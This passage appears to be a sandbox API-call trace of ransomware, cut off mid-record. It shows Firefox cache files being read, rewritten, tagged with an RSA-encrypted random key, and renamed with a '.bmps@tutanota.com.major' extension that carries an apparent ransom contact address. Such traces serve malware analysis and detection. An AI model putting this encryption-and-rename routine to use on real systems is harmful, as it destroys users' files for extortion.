(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644", dwFileAttributes=0x80) returned 1 [0287.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee2348 [0287.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0287.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee2348 | out: hHeap=0x570000) returned 1 [0287.715] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1600a1e0f302711ace755c1f40e790a8a4071644"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0287.716] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1236) returned 1 [0287.716] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4d4) returned 0x66e948 [0287.716] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4d4) returned 0x2f3e850 [0287.716] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0287.717] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0287.717] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0287.717] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0287.717] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0287.717] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d4 [0287.717] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.717] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.717] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0287.717] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0287.718] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0287.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0287.718] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="pHjwMrnMETyYKD/+0FY8HLYqawZsfN/tP15pTwVCPEgIz9zMJmCi8jYcEZy64j3m\nqQ4Iqz37n+m5PD0i9oDZVFGTdqURlP0WVjw0FRoDIN0WSAmaFH5r7OuHRv4H2rAJ\nvTxzB4VWVOnwsFEVve4oS5mTw0dm7GJkHzkmY3zPIf/0pbN2S06cxsAOCsBwydEx\ngAhqtezlFT26HpCYS/WMXoXpttPRAerSeizzZM54N5l6h+IHA6LB8p3tZwcyS0MU\nl6GQn2LoJ/cfhRUPvCX0AnXErpyTw0Kty6wX6qh/en3w2WWsONkKad5YOYh1FM7U\nddcBAKHJyyNUp02a1h0ejw==\n", pcchString=0x2e3f9a8) returned 1 [0287.718] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0287.718] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.718] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.718] CloseHandle (hObject=0x1b84) returned 1 [0287.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0287.718] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1600a1e0f302711ace755c1f40e790a8a4071644"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1600A1E0F302711ACE755C1F40E790A8A4071644.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1600a1e0f302711ace755c1f40e790a8a4071644.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0287.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0287.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0287.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3e18 | out: hHeap=0x570000) returned 1 [0287.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3d10 | out: hHeap=0x570000) returned 1 [0287.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee3d10 [0287.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67d0 [0287.720] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0287.720] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9", dwFileAttributes=0x80) returned 1 [0287.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee3e18 [0287.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0287.723] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3e18 | out: hHeap=0x570000) returned 1 [0287.723] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\15fffe7d2cc5dac5c541f0d5acc7d8bca673bbd9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0287.724] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3744) returned 1 [0287.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xea0) returned 0x3446048 [0287.724] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xea0) returned 0x2f81868 [0287.724] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xea0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xea0, lpOverlapped=0x0) returned 1 [0287.835] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0287.835] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f81868*, nNumberOfBytesToWrite=0xea0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesWritten=0x2e3f9b4*=0xea0, lpOverlapped=0x0) returned 1 [0287.836] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0287.836] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0287.836] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xea0 [0287.836] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.836] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.836] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0287.836] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0287.836] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0287.836] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0287.836] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="uLuJzv1Hub0a2mmbPxAUIawg3kj0JctEjPas+Npt9Qpza0FlF8RAbAFCy08bHmaX\nJ1PT4bR7pK52kx2UpEYIIOROTw3kfrJe09/YE43ktrdUEfZZCF6IOaL/w3hGWeXM\nsZ2DgvcICPJ+72/Ey63UKv2HKYbUZ1LQBZrPewRCRzXG54RrKFnbtNtbIAld/Sp0\nVJnWSkHfmZ134xqrb1S+TMvlCSEaVxnJ5IPtey7DTi1Vp8bV3gn8kIMS0dImZIno\nPlX7bRh2o8wxY0EebfBrynyJcM4Ea8D8DQjY3mtCBrXFRCwTFvn/77xXw/RMFnIm\n9QA6iMwQ2Jhd7OYZKTZmEw==\n", pcchString=0x2e3f9a8) returned 1 [0287.836] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0287.836] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.836] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.837] CloseHandle (hObject=0x1b84) returned 1 [0287.837] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0287.837] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\15fffe7d2cc5dac5c541f0d5acc7d8bca673bbd9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\15FFFE7D2CC5DAC5C541F0D5ACC7D8BCA673BBD9.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\15fffe7d2cc5dac5c541f0d5acc7d8bca673bbd9.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0287.840] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0287.840] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0287.840] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3d10 | out: hHeap=0x570000) returned 1 [0287.840] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee39f8 | out: hHeap=0x570000) returned 1 [0287.840] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee39f8 [0287.840] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0287.840] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0287.840] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA", dwFileAttributes=0x80) returned 1 [0287.840] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee3d10 [0287.840] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0287.841] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3d10 | out: hHeap=0x570000) returned 1 [0287.841] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\156a5ccbef01c060effe6f1f2fe07786a115fbea"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0287.841] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2712) returned 1 [0287.841] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa98) returned 0x3446048 [0287.841] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa98) returned 0x2f81868 [0287.841] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xa98, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xa98, lpOverlapped=0x0) returned 1 [0287.843] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0287.843] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f81868*, nNumberOfBytesToWrite=0xa98, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa98, lpOverlapped=0x0) returned 1 [0287.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0287.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0287.843] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa98 [0287.843] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.843] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.843] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0287.843] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0287.844] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0287.844] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0287.844] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="G7uHldxQhKD9stgajDAEYe8QMTp8iOqZzpGfQ/0bb7LrYqnoKiGks6ZJSrrIBRGQ\nfc2BZKUQiYURnRAUzV1P1VXGULeoNIa61vYo7bcp8/0Pgzt2y6oI/eLDGyzK8rJi\nBntogDDWaWh+yMsjG7/jDkPCBbyhOiZAAEIszgf1gB/JZXQGI6KtSqAgH5jhzRYX\nIuTny5F5VPYbAifYFBrhDV+GkI3IVoD/T9+RqtMe5jJB9/UuhybCVIurvL1gEmbu\nyIEAGSpKF5Ku/c8iMZJ9HP0UmV08eiAsUY7XjVbhxhB0cV0Y0OgR+CmOPHR1iSGR\nglaome4tgSVheFsF27CJLQ==\n", pcchString=0x2e3f9a8) returned 1 [0287.844] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0287.844] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.844] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.844] CloseHandle (hObject=0x1b84) returned 1 [0287.844] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0287.844] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\156a5ccbef01c060effe6f1f2fe07786a115fbea"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\156a5ccbef01c060effe6f1f2fe07786a115fbea.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0287.847] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0287.847] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0287.847] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee39f8 | out: hHeap=0x570000) returned 1 [0287.847] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee38f0 | out: hHeap=0x570000) returned 1 [0287.847] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee38f0 [0287.847] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0287.847] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0287.847] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312", dwFileAttributes=0x80) returned 1 [0287.847] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2ee39f8 [0287.847] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0287.847] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee39f8 | out: hHeap=0x570000) returned 1 [0287.847] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\152707bf9d0e3d40ee384f6696e826a52171e312"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0287.848] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1033) returned 1 [0287.848] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x409) returned 0x66e948 [0287.848] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x409) returned 0x2f3e850 [0287.848] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x409, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x409, lpOverlapped=0x0) returned 1 [0287.849] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1033, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0287.849] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x409, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x409, lpOverlapped=0x0) returned 1 [0287.849] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0287.849] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0287.849] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x409 [0287.850] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.850] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.850] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0287.850] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0287.850] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0287.850] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0287.850] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="jLsl0QTN07Ji8UD7EMJKlziTM6nK0KEB1vPRRf9Wk4LdlaUVeEDvG1QEqH/2/cdX\nTiOqbUpQJXNV9XcJ148uqe+4gbF5wwwkFjXNIg+SdrUSXlxzUMbgePiS9IE6os9Q\nkHLPSnYwoXaKhXwydNGWapVIt6WXUQEX28oWjM43EYFcOwCf1OhS1Cw4b5RfXw1W\nYo8zbisbO0mPE67LQi8AKX/2K9lepN0b3A6ZUoD+w1W0SreSbuJrKANb6ZvvsBT+\nzcBE0W2rek6WJODVd2HBhmH2nq8ybildjEzSkdkV3rkkWgF2+GVI9psKrvVhRpjo\nBczIGwrbw/AM6eJjOIqoAQ==\n", pcchString=0x2e3f9a8) returned 1 [0287.850] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0287.850] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0287.850] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0287.850] CloseHandle (hObject=0x1b84) returned 1 [0287.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0287.851] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\152707bf9d0e3d40ee384f6696e826a52171e312"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\152707BF9D0E3D40EE384F6696E826A52171E312.1506877342345.bmps@tutanota.com.major" (normalized: 